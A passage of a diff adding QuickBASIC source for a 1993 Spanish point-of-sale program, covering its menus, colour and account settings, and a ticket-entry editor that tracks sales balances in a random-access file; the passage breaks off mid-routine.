+MenuEscape: + currChoice = 0 + finished = true + RETURN + +MenuUp: + IF BarMode THEN + BEEP + ELSE + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + END IF + RETURN + +MenuLeft: + IF BarMode THEN + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + ELSE + currChoice = -2 + finished = true + END IF + RETURN + +MenuRight: + IF BarMode THEN + currChoice = (currChoice) MOD MaxChoice + 1 + ELSE + currChoice = -3 + finished = true + END IF + RETURN + +MenuDown: + IF BarMode THEN + finished = true + ELSE + currChoice = (currChoice) MOD MaxChoice + 1 + END IF + RETURN + +MenuShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT Choice$(currChoice); + PrintHelpLine help$(currChoice) + RETURN + +MenuGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + + WEND + RETURN + +MenuHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT Choice$(currChoice); + RETURN + + +END FUNCTION + +'MenuSystem: +' Main routine that controls the program. Uses the MENU function +' to implement menu system and calls the appropriate function to handle +' the user's selection +SUB MenuSystem + + boorra = 1 + + DIM Choice$(20), menuRow(20), menuCol(20), help$(20) + LOCATE , , 0 + Choice = 1 + finished = false + + WHILE NOT finished + + GOSUB MenuSystemMain + + SubChoice = -1 + WHILE SubChoice < 0 + SELECT CASE Choice + CASE 1: GOSUB MenuSystemFile + CASE 2: GOSUB MenuSystemEdit + CASE 3: GOSUB MenuSystemAccount + CASE 4: GOSUB MenuSystemReport + CASE 5: GOSUB MenuSystemColors + CASE 6: GOSUB help + END SELECT + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + SELECT CASE SubChoice + CASE -2: Choice = (Choice + 3) MOD 5 + 1 + CASE -3: Choice = (Choice) MOD 6 + 1 + END SELECT + WEND + WEND + EXIT SUB + + +MenuSystemMain: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 9, 19, 14, 61 + center 11, "Use las teclas de direcci¢n para el men£" + center 12, "Presione Entrar para elegir elemento" + + Choice$(1) = " Archivo " + Choice$(2) = " Proveedores " + Choice$(3) = " Transacciones " + Choice$(4) = " Clientes " + Choice$(5) = " Colores " + Choice$(6) = " Ayuda " + + menuRow(1) = 1: menuCol(1) = 2 + menuRow(2) = 1: menuCol(2) = 12 + menuRow(3) = 1: menuCol(3) = 26 + menuRow(4) = 1: menuCol(4) = 42 + menuRow(5) = 1: menuCol(5) = 53 + menuRow(6) = 1: menuCol(6) = 72 + + help$(1) = "Salir del T.P.V" + help$(2) = "Agregar/edit/supr Proveedores" + help$(3) = "Agregar/edit/supr Transacciones" + help$(4) = "Ver e imprimir clientes" + help$(5) = "Fijar color en pantalla" + help$(6) = " Ayuda " + + DO + NewChoice = Menu((Choice), 6, Choice$(), menuRow(), menuCol(), help$(), true) + LOOP WHILE NewChoice = 0 + Choice = NewChoice + RETURN + +MenuSystemFile: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Ficheros " + Choice$(2) = " Status " + Choice$(3) = " Salir " + + menuRow(1) = 3: menuCol(1) = 2 + menuRow(2) = 4: menuCol(2) = 2 + menuRow(3) = 5: menuCol(3) = 2 + + help$(1) = "Operaciones de Configuraci¢n" + help$(2) = "Status actual" + help$(3) = "Salir del T.P.V." + + SubChoice = Menu(1, 3, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1 + + Choice$(1) = " Eliminar Fich. " + Choice$(2) = " Vendedores " + Choice$(3) = " Caja (S/N) " + + menuRow(1) = 5: menuCol(1) = 6 + menuRow(2) = 6: menuCol(2) = 6 + menuRow(3) = 7: menuCol(3) = 6 + + help$(1) = "Eliminaci¢n de ficheros..." + help$(2) = "Agregar/Editar/Eliminar Vendedores" + help$(3) = "Configurar Caja registradora" + + SubChoice = Menu(1, 3, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1: Elif + CASE 2 + don = 2 + GOSUB empresa + Vende (SubChoice) + don = 0 + CASE 3 + ON ERROR GOTO ErrorCaj + + OPEN "Caja.cfg" FOR INPUT AS #1 + INPUT #1, act$ + CLOSE + + Box 8, 13, 14, 69 + center 11, "¨Hay una caja registradora instalada" + center 12, "en el puerto RS232?" + LOCATE 13, 15: PRINT "Actual: ", act$ + center 14, " <ÄÙ Cambiar" + kbd$ = INKEY$ + WHILE kbd$ = "": kbd$ = INKEY$: WEND + IF kbd$ <> CHR$(13) THEN RETURN + LOCATE 13, 15: INPUT "Nuevo: ", act$ + IF UCASE$(RTRIM$(LTRIM$(act$))) <> "S" THEN act$ = "N" + + OPEN "Caja.cfg" FOR OUTPUT AS #1 + PRINT #1, act$ + CLOSE + + + CASE ELSE + END SELECT + + + CASE 2: Staul + CASE 3: finished = true + CASE ELSE + END SELECT + RETURN + + + + +MenuSystemEdit: + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Altas " + Choice$(2) = " Editar/Modificar " + Choice$(3) = " Buscar " + Choice$(4) = " Eliminar " + Choice$(5) = " Imprimir (1, 2) " + + menuRow(1) = 3: menuCol(1) = 9 + menuRow(2) = 4: menuCol(2) = 9 + menuRow(3) = 5: menuCol(3) = 9 + menuRow(4) = 6: menuCol(4) = 9 + menuRow(5) = 7: menuCol(5) = 9 + + help$(1) = "Agregar Proveedores" + help$(2) = "Editar/Modificar Proveedores" + help$(3) = "Busqueda de Proveedores" + help$(4) = "Eliminar Proveedores" + help$(5) = "Imprimir lista individual o r pida" + + SubChoice = Menu(1, 5, Choice$(), menuRow(), menuCol(), help$(), false) + SELECT CASE SubChoice + CASE 1 TO 5 + + CHAIN "Proveed" + + END SELECT + + RETURN + + +MenuSystemAccount: + don = 0 + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + Choice$(1) = " Compras " + Choice$(2) = " Referencias " + Choice$(3) = " Imprimir (1) " + Choice$(4) = " Imprimir (2) " + + menuRow(1) = 3: menuCol(1) = 26 + menuRow(2) = 4: menuCol(2) = 26 + menuRow(3) = 5: menuCol(3) = 26 + menuRow(4) = 6: menuCol(4) = 26 + + help$(1) = "Agregar/Eliminar/Editar Compras" + help$(2) = "Agregar/Eliminar/Editar Referencias" + help$(3) = "Imprimir Compras del mes" + help$(4) = "Imprimir Referencias" + + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), help$(), false) + item% = SubChoice + SELECT CASE SubChoice + CASE 1: vaw = 1: GOTO empresa + CASE 2: vaw = 2: GOTO empresa + CASE 3: vaw = 3: GOTO empresa + CASE 4: vaw = 4: GOTO empresa + END SELECT +RETURN + +empresa: + boorra = 1 + FOR A = 1 TO 10 + IF Trim$(Account(A).Title) = "" THEN + Choice$(A) = RIGHT$(STR$(A), 2) + ". ------------------- " + ELSE + Choice$(A) = RIGHT$(STR$(A), 2) + ". " + Account(A).Title + END IF + menuRow(A) = A + 4 + menuCol(A) = 32 + help$(A) = RTRIM$(Account(A).Title) + NEXT A + + SubChoice = Menu(1, 10, Choice$(), menuRow(), menuCol(), help$(), false) + boorra = 0 + + IF SubChoice > 0 THEN + IF Choice$(SubChoice) = RIGHT$(STR$(SubChoice), 2) + ". ------------------- " THEN + Box 17, 5, 21, 75 + center 19, "Esa empresa no EXISTE, ¨Desea crearla?" + DO: + K$ = INKEY$ + LOOP WHILE K$ = "" + + IF K$ = "s" OR K$ = "S" THEN + Box 17, 5, 21, 75 + center 18, "Introduzca el nombre de la Empresa" + emp$ = GetString$(19, 7, "", end$, 20, 20) + 'end$ contiene la informacion + Account(SubChoice).Title = end$ + SaveState + + ELSE + Box 17, 5, 21, 75 + center 19, "Escoja una empresa" + GOTO empresa + + END IF + END IF + item% = SubChoice + IF vaw = 2 THEN + Box 17, 5, 21, 75 + center 18, "Por Favor, espere mientras" + center 19, "inicio el modulo de REFERENCIAS" + CHAIN "ref#" + END IF + + IF vaw = 1 THEN + Box 17, 5, 21, 75 + center 18, "Por Favor, espere mientras" + center 19, "inicio el modulo de COMPRAS" + CHAIN "compras" + END IF + IF vaw = 3 THEN ImpComp (SubChoice) + IF vaw = 4 THEN ImpRef (SubChoice) + + + END IF + IF don = 2 THEN RETURN + GOTO MenuSystemMain + + + +MenuSystemReport: + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + Choice$(1) = " Ticket " + Choice$(2) = " Balance " + Choice$(3) = " Stock actual " + + menuRow(1) = 3: menuCol(1) = 39 + menuRow(2) = 4: menuCol(2) = 39 + menuRow(3) = 5: menuCol(3) = 39 + + help$(1) = "Ticket, comenzar a fichar" + help$(2) = "Total Vendido, dia, mes" + help$(3) = "Ver o imprimir Stock actual" + + SubChoice = Menu(1, 3, Choice$(), menuRow(), menuCol(), help$(), false) + don = 2 + SELECT CASE SubChoice + CASE 1 + GOSUB empresa + Ticket (SubChoice%) + CASE 2 + GOSUB empresa + Balan (SubChoice%) + CASE 3 + GOSUB empresa + Stock (SubChoice%) + CASE ELSE + END SELECT + RETURN + +MenuSystemColors: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Monocrom tico " + Choice$(2) = " Cyan/Azul " + Choice$(3) = " Azul/Cyan " + Choice$(4) = " Rojo/Gris " + + menuRow(1) = 3: menuCol(1) = 50 + menuRow(2) = 4: menuCol(2) = 50 + menuRow(3) = 5: menuCol(3) = 50 + menuRow(4) = 6: menuCol(4) = 50 + + help$(1) = "Color para presentaci¢n monocrom tico y LCD" + help$(2) = "Color presentado cyan" + help$(3) = "Color presentado azul" + help$(4) = "Color presentado rojo" + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1 TO 4 + ColorPref = SubChoice + SaveState + CASE ELSE + END SELECT + RETURN + +help: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Uso de la ayuda " + Choice$(2) = " Sobre los Men£s " + Choice$(3) = " Grabaci¢n de Datos " + Choice$(4) = " Acerca de... " + + menuRow(1) = 3: menuCol(1) = 57 + menuRow(2) = 4: menuCol(2) = 57 + menuRow(3) = 5: menuCol(3) = 57 + menuRow(4) = 6: menuCol(4) = 57 + + help$(1) = "Uso de la ayuda en Personal Financial" + help$(2) = "Ayuda en los men£s" + help$(3) = "Modo de grabar los Datos" + help$(4) = "Creditos del Personal Financial" + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1 + RETURN + CASE 2 + RETURN + CASE 3 + RETURN + CASE 4 + Box 9, 10, 16, 70 + center 10, "T E R M I N A L P U N T O de V E N T A" + center 12, "by" + center 14, "Jos‚ David Guill‚n (c) 1993" + center 16, "Pulse una tecla" + SLEEP + CASE ELSE + END SELECT + RETURN + + + + +END SUB + +'PrintHelpLine: +' Prints help text on the bottom row in the proper color +SUB PrintHelpLine (help$) + COLOR colors%(5, ColorPref), colors%(4, ColorPref) + LOCATE 25, 1 + PRINT SPACE$(80); + center 25, help$ +END SUB + +'SaveState: +' Save color preference and account information to "Personal.cfg" data file. +SUB SaveState + OPEN "Personal.cfg" FOR OUTPUT AS #2 + PRINT #2, ColorPref + + FOR A = 1 TO 19 + PRINT #2, Account(A).Title + NEXT A + + CLOSE #2 +END SUB + +'ScrollDown: +' Call the assembly program to scroll the screen down +SUB ScrollDown + DEF SEG = VARSEG(ScrollDownAsm(1)) + CALL Absolute(VARPTR(ScrollDownAsm(1))) + DEF SEG +END SUB + +'ScrollUp: +' Calls the assembly program to scroll the screen up +SUB ScrollUp + DEF SEG = VARSEG(ScrollUpAsm(1)) + CALL Absolute(VARPTR(ScrollUpAsm(1))) + DEF SEG +END SUB + +SUB Staul + +END SUB + +SUB Stock (EEE%) + +END SUB + +SUB Ticket (e%) + + 'Stores info about each column + REDIM help$(6), Col(6), vis(6), max(6), CurrString$(1), CurrFig#(6) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000), Ca#(1000), Cb$(1000), Cc#(1000), Cd#(1000), Ce#(1000), lin$(155) + + + gf = 0 + Box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Fecha" + center 19, "con la que guardar ticket del d¡a." + PrintHelpLine "Fecha: mm - dd - aaaa" + DO + emp$ = GetString$(20, 7, DATE$, end$, 10, 10) + Fecha$ = end$ + M = VAL(MID$(Fecha$, 1, 2)) + D = VAL(MID$(Fecha$, 4, 2)) + IF M <= 12 AND D <= 31 THEN gf = 1 + IF LEN(Fecha$) < 10 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + dia$ = MID$(Fecha$, 4, 2) + an$ = MID$(Fecha$, 7, 4) + CurrDia$ = dia$ + compufech$ = mes$ + dia$ + an$ + + help$(1) = "Vendedor 1 a 9 " + help$(2) = "Referencia " + help$(3) = "Producto " + help$(4) = "Unidades " + help$(5) = "P.V.P. (Unidad) " + + Col(1) = 2: vis(1) = 3: max(1) = 1 + Col(2) = 9: vis(2) = 6: max(2) = 6 + Col(3) = 19: vis(3) = 22: max(3) = 22 + Col(4) = 43: vis(4) = 5: max(4) = 3 + Col(5) = 51: vis(5) = 10: max(5) = 8 + + + 'Open random access file + + file$ = "T-" + dia$ + mes$ + "." + Cvit$(e) + + OPEN file$ FOR RANDOM AS #1 LEN = 59 + + FIELD #1, 2 AS IoDia$, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoUnd$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + 'Initialize variables + CurrString$(1) = "" + CurrFig#(2) = 0 + CurrFig#(3) = 0 + CurrFig#(4) = 0 + CurrFig#(5) = 0 + CurrFig#(6) = 0 + + GET #1, 1 + IF valid$ <> "SI" THEN + LSET IoDia$ = "" + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoUnd$ = STR$(0) + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, 2 + LSET valid$ = "SI" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + + MaxRecord = VAL(IoMaxRecord$) + + Balance#(0) = 0 + A = 1 + + WHILE A <= MaxRecord + GET #1, A + 1 + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(A) = p# * p1# * p2# - p1# * p2# * p3# + BalTotal# = BalTotal# + Balance#(A) + A = A + 1 + WEND + + GOSUB CargaReferencias + + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 2, 1, 21, 80 + Box 22, 1, 24, 80 + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 4: PRINT "Empresa: " + Trim$(Account(e%).Title); + 'LOCATE 1, 63: PRINT "Fecha: "; + 'LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + LOCATE 3, 2: PRINT " No. ³ Ref# ³ Concepto ³ Und ³ P.V.P. ³ Total " + LOCATE 4, 2: PRINT "ÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ" + u1$ = " ³ ³ ³ ³ ³ " + u1x$ = "ßßßßßß³ßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßßßßß" + u2$ = "##,###,###" + u3$ = "##,###,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + + CurrTopline = 1: bajabarra = 1 + GOSUB EditPrintWholeScreen + bajabarra = 0 + + CurrRow = 1 + CurrCol = 1 + PrintHelpLine help$(CurrCol) + "| " + + GOSUB EditGetLine + + finished = false + + GOSUB EditPrintBalances + + + 'Loop until is pressed + DO + GOSUB EditShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + ed = 1: GOSUB EditShowCursor: ed = 0: 'Oculta el cursor para obtener datos ED=1 + bajabar = 0: bajabarra = 0 + + + IF kbd$ >= " " AND kbd$ < "~" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditEditItem + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditMoveDown + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + + CurrCol = (CurrCol + 3) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 6 + CASE CHR$(0) + "I" 'Page Up + CurrRow = 1 + CurrTopline = CurrTopline - 16 + IF CurrTopline < 1 THEN + CurrTopline = 1 + END IF + '************************ + bajabarra = 1 + + GOSUB EditPrintWholeScreen + GOSUB EditGetLine + bajabarra = 0 + GOSUB PrintBalan + CASE CHR$(0) + "Q" 'Page Down + CurrRow = 1 + CurrTopline = CurrTopline + 16 + IF CurrTopline > MaxRecord THEN + CurrTopline = MaxRecord + END IF + bajabarra = 1 + GOSUB EditPrintWholeScreen + GOSUB EditGetLine + bajabarra = 0 + GOSUB PrintBalan + + CASE CHR$(0) + "<" 'F2 + finished = true + CASE CHR$(0) + "C" 'F9 + GOSUB EditAddRecord + CASE CHR$(0) + "D" 'F10 + GOSUB EditDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EditShowCursor: + IF ed = 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + LOCATE CurrRow + 4, Col(CurrCol) + + SELECT CASE CurrCol + + CASE 1 + IF CurrFig#(2) <> 0 THEN + PRINT USING u6$; CurrFig#(2); + ELSE + PRINT SPACE$(vis(2)); + END IF + + CASE 2 + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN + PRINT LEFT$(CurrString$(1), vis(2)); + ELSE + PRINT SPACE$(vis(2)) + END IF + + + CASE 3 + IF CurrFig#(3) <> 0 THEN + PRINT " "; + PRINT USING u5$; CurrFig#(3); + PRINT " "; + ELSE + PRINT " "; + END IF + + CASE 4 + IF CurrFig#(4) <> 0 THEN + PRINT " "; + PRINT USING u5$; CurrFig#(4); + PRINT " "; + ELSE + PRINT " "; + END IF + + CASE 5 + IF CurrFig#(5) <> 0 THEN + PRINT USING u2$; CurrFig#(5); + ELSE + PRINT " "; + END IF + + CASE 6 + IF CurrFig#(6) <> 0 THEN + PRINT USING u2$; CurrFig#(6); + ELSE + PRINT " "; + END IF + + + END SELECT + + RETURN + + +EditEditItem: + + CurrRecord = CurrTopline + CurrRow - 1 + + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + COLOR colors(8, ColorPref), colors(9, ColorPref) + GraDat = 0: Clasifica = 0 + + SELECT CASE CurrCol + + CASE 1 + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(1), start$, new$, vis(1), max(1)) + new1# = VAL(new$) + start$ = "" + LOOP WHILE new1# >= 1001# OR new1# < 0 + CurrFig#(2) = new1# + + reg = 0: b = 1 + + + DO + + IF Ca#(b) = CurrFig#(2) THEN + CurrString$(1) = Cb$(b) + CurrFig#(4) = Cc#(b) + CurrFig#(5) = Cd#(b) + CurrFig#(6) = Ce#(b) + Clasifica = 1: Valpu = 1 + EXIT DO + END IF + b = b + 1 + + LOOP WHILE Ca#(b) <> 0 OR b <= TopeRef# + 1 + + IF Clasifica = 0 THEN + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + Box 16, 24, 19, 49 + IF TopeRef# = 999 THEN + LOCATE 17, 25: PRINT " Lo siento, referencias " + LOCATE 18, 25: PRINT "AGOTADAS, elimine alguna" + ELSE + LOCATE 17, 25: PRINT "Esa Referencia no existe" + LOCATE 18, 25: PRINT "¨ Desea crearla ? (S/N) " + DO + i$ = INKEY$ + LOOP WHILE i$ = "" + + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + IF i$ = "s" OR i$ = "S" THEN + Valpu = 0 + TopeRef# = TopeRef# + 1 + GraDat = 1 + GraCurrDat = CurrTopline + CurrRow - 1 + ELSEIF i$ = "n" OR i$ = "N" THEN CurrFig#(2) = 0 + + END IF + END IF + END IF + + + + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + + CASE 2 + + + + IF Valpu = 0 THEN + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), kbd$, new$, vis(CurrCol), max(CurrCol)) + CurrString$(1) = new$ + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + + CASE 3 + start$ = kbd$ + + DO + kbd$ = GetString$(CurrRow + 4, Col(3), start$, new$, vis(3), max(3)) + new3# = VAL(new$) + start$ = "" + + IF CurrFig#(4) <= 100# AND new3# <= 601# OR new3# <= 0 THEN EXIT DO + + IF CurrFig#(4) > 100# AND new3# <= 11 OR new3# <= 0 THEN EXIT DO + + LOOP + + + + CurrFig#(3) = new3# + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + + CASE 4 + + IF Valpu = 0 THEN + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(4), start$, new$, vis(4), max(4)) + new4# = VAL(new$) + start$ = "" + + IF CurrFig#(3) <= 10 AND new4# <= 601 OR new4# <= 0 THEN EXIT DO + IF CurrFig#(3) > 10 AND new4# <= 101 OR new4# <= 0 THEN EXIT DO + + LOOP + + + + CurrFig#(4) = new4# + + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE 5 + IF Valpu = 0 THEN + + start$ = kbd$ + old3# = CurrFig#(5) + + DO + kbd$ = GetString$(CurrRow + 4, Col(5), start$, new$, vis(5), max(5)) + new5# = VAL(new$) + start$ = "" + LOOP WHILE new5# >= 75001# OR new5# < 0 + A = CurrRecord + + CurrFig#(5) = new5# + + END IF + + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE 6 + IF Valpu = 0 THEN + + start$ = kbd$ + old4# = CurrFig#(6) + DO + kbd$ = GetString$(CurrRow + 4, Col(6), start$, new$, vis(6), max(6)) + new6# = VAL(new$) + start$ = "" + LOOP WHILE new6# >= 75001# OR new6# < 0 + A = CurrRecord + + CurrFig#(6) = new6# + + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE ELSE + END SELECT + + GOSUB EditPrintLine + + RETURN + +EditMoveUp: + Valpu = 0 + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + ScrollDown + CurrTopline = CurrTopline - 1 + GOSUB EditGetLine + GOSUB EditPrintLine + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB EditGetLine + END IF + GOSUB PrintBalan + RETURN + +EditMoveDown: + Valpu = 0 + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 16 THEN + ScrollUp + CurrTopline = CurrTopline + 1 + GOSUB EditGetLine + GOSUB EditPrintLine + ELSE + CurrRow = CurrRow + 1 + GOSUB EditGetLine + END IF + END IF + GOSUB PrintBalan + RETURN + +EditPrintLine: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 2 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + IF CurrFig#(2) <> 0 THEN PRINT USING u6$; CurrFig#(2); ELSE PRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN PRINT "³" + CurrString$(1); ELSE PRINT "³ "; + + IF CurrFig#(3) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(3); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(4) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(4); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(5) <> 0 THEN PRINT "³"; : PRINT USING u2$; CurrFig#(5); ELSE PRINT "³ "; + + IF CurrFig#(6) <> 0 THEN PRINT "³"; : PRINT USING u2$; CurrFig#(6); ELSE PRINT "³ "; + PRINT "³"; + PRINT USING u3$; Balance#(CurrRecord); + + IF bajabar <> 1 THEN GOSUB EditPrintBalances + + +END IF + +RETURN + +EditPrintBalances: + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR A = 1 TO 16 + CurrRecord = CurrTopline + A - 1 + IF CurrRecord <= MaxRecord THEN + LOCATE 4 + A, 66 + PRINT USING u3$; Balance#(CurrTopline + A - 1); + END IF + NEXT A + +PrintBalan: + + IF bajabarra <> 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + LOCATE 21, 1: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ" + Box 22, 1, 24, 80 + LOCATE 23, 2: PRINT CurrString$(1) + LOCATE 23, 25: PRINT "³"; + LOCATE 23, 26: PRINT USING u9$; PvpTotal#; + PRINT "³"; + PRINT USING u9$; PcTotal#; + PRINT "³"; + PRINT USING u9$; BalTotal#; + END IF + + RETURN + +EditDeleteRecord: + bajabar = 1 + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + A = CurrRecord + BalTotal# = BalTotal# - Balance#(CurrRecord) + WHILE A <= MaxRecord + GET #1, A + 2 + PUT #1, A + 1 + + Balance#(A) = Balance#(A + 1) + A = A + 1 + WEND + + Balance#(MaxRecord + 1) = 0 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditPrintWholeScreen + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB EditMoveUp + END IF + bajabar = 0 + GOSUB EditGetLine + + END IF + RETURN + +EditAddRecord: + bajabar = 1 + CurrRecord = CurrTopline + CurrRow - 1 + A = MaxRecord + + tb = 0 + WHILE A > CurrRecord + + GET #1, A + 1 + PUT #1, A + 2 + + Balance#(A + 1) = Balance#(A) + + A = A - 1 + + WEND + + + Balance#(CurrRecord + 1) = 0 + + MaxRecord = MaxRecord + 1 + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoUnd$ = STR$(0) + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, CurrRecord + 2 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditPrintWholeScreen + + GOSUB EditGetLine + RETURN + +EditPrintWholeScreen: + + temp = CurrRow + FOR CurrRow = 1 TO 16 + CurrRecord = 